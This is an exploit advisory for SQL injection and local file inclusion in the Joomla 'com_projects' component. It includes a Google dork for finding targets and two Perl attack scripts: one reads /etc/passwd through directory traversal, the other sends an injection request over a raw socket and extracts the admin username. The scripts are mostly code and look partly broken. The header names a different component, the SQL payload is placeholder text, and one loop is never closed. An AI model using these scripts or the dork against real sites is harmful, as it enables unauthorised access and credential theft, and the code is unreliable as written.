Joomla! Component Projects 'com_projects' - SQL Injection / Local File Inclusion

source: https://www.securityfocus.com/bid/44456/info

The 'com_projects' component for Joomla! is prone to an SQL-injection vulnerability and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. By using directory-traversal strings to execute local script code in the context of the application, the attacker may be able to obtain sensitive information that may aid in further attacks. 

=========================================================
Joomla  Component com_projects LFI & SQL Vulnerability
=========================================================

[+]Title        : Joomla  Component com_calendrier RFI Vulnerability
[+]Author       : jos_ali_joe
[+]Contact      : [email protected]
[+]Home 	: http://josalijoe.wordpress.com/		
######################################################################## 
Dork		: inurl:index.php?option="com_projects"
######################################################################## 
[ Software Information ]
########################################################################
[+] Vendor : http://www.codegravity.com/
[+] Download : http://www.joomla.org/download.html
[+] version : Joomla 1.5
[+] Vulnerability : LFI and SQL Vulnerability
[+] Dork : com_projects
########################################################################
[+] Exploit: LFI
====================================================================================
http://localhost/index.php?option=com_projects&controller=[ LFI ]
====================================================================================
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;

print "\t\t########################################################\n\n";
print "\t\t#    Joomla  Component com_projects LFI Vulnerability  #\n\n";
print "\t\t#                        by jos_ali_joe                #\n\n";
print "\t\t########################################################\n\n";


if (!$ARGV[0])
{
print "Usage: perl idc.pl [HOST]\n";
print "Example: perl idc.pl http://localhost/LFI/\n";;
}

else
{

$web=$ARGV[0];
chomp $web;

$iny="agregar_info.php?tabla=../../../../../../../../../../../../../../../../etc/passwd%00";

my $web1=$web.$iny;
print "$web1\n\n";
my $ua = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $ua->request($req)->as_string;

if ($doc=~ /^root/moxis ){
print "Web is vuln\n";
}
else
{
print "Web is not vuln\n";
}

}

####################################################################################
[+] Exploit: SQL
====================================================================================
http://localhost/index.php?option=com_projects&view=project&id=[ SQL ]
====================================================================================
use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   Joomla Component com_projects SQL Injection Exploit
[//                   Usage: idc.pl [target]
[//                   Example: idc.pl localhost.com
[//                   Vuln&Exp : jos_ali_joe
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?option=com_projects&view=project&id=";
 
print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);
 
if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}
 
if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }
 
 
$target = "SQL Injection Exploit";
$target = $host.$dir.$file.$target;
 
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: * /*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

####################################################################################
Thanks :
./kaMtiEz ? ibl13Z ? Xrobot ? tukulesto ? R3m1ck ? jundab - asickboys- Vyc0d ? Yur4kha - XPanda - eL Farhatz
./ArRay ? akatsuchi ? K4pt3N ? Gameover ? antitos ? yuki ? pokeng ? ffadill - Alecs - v3n0m - RJ45
./Kiddies ? pL4nkt0n ? chaer newbie ? andriecom ? Abu_adam ? Petimati - hakz ? Virgi ? Anharku - a17z a.k.a maho
./Me Family ATeN4 :
./N4ck0 - Aury - TeRRenJr - Rafael - aphe-aphe 
Greets For :
./Devilzc0de crew ? Kebumen Cyber ? Explore Crew ? Indonesian Hacker - Byroe Net - Yogyacarderlink - Hacker Newbie - Jatim Crew - Malang Cyber
My Team : ./Indonesian Coder